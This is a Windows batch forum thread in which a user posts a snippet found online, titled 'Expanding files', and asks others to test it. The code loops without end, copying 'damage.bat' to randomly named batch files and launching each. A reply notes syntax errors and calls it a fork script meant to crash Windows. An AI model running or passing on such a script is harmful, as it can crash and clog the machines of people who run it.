Expanding files

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
Blanks
Posts: 1
Joined: 09 Feb 2020 13:34

Expanding files

#1 Post by Blanks » 19 Feb 2020 15:13

I found this code on the web while search for something and I'm not sure its working some test it and tell me what it does :mrgreen:

@echo off
:A
Set /A
X=%RANDOM%%%1999999999%
Type damage.bat >> %x%.bat
Start %x%.bat
Goto:A

Thanks

scavenger
Posts: 18
Joined: 23 May 2015 13:51
Contact:

Re: Expanding files

#2 Post by scavenger » 22 Apr 2020 14:23

code has 2 errors or you added a CR after the set /A; even without CR there is an odd number od % signs so X will never be evaluated correctly
that's an basic, infinite fork script to crash windows
why the question

Post Reply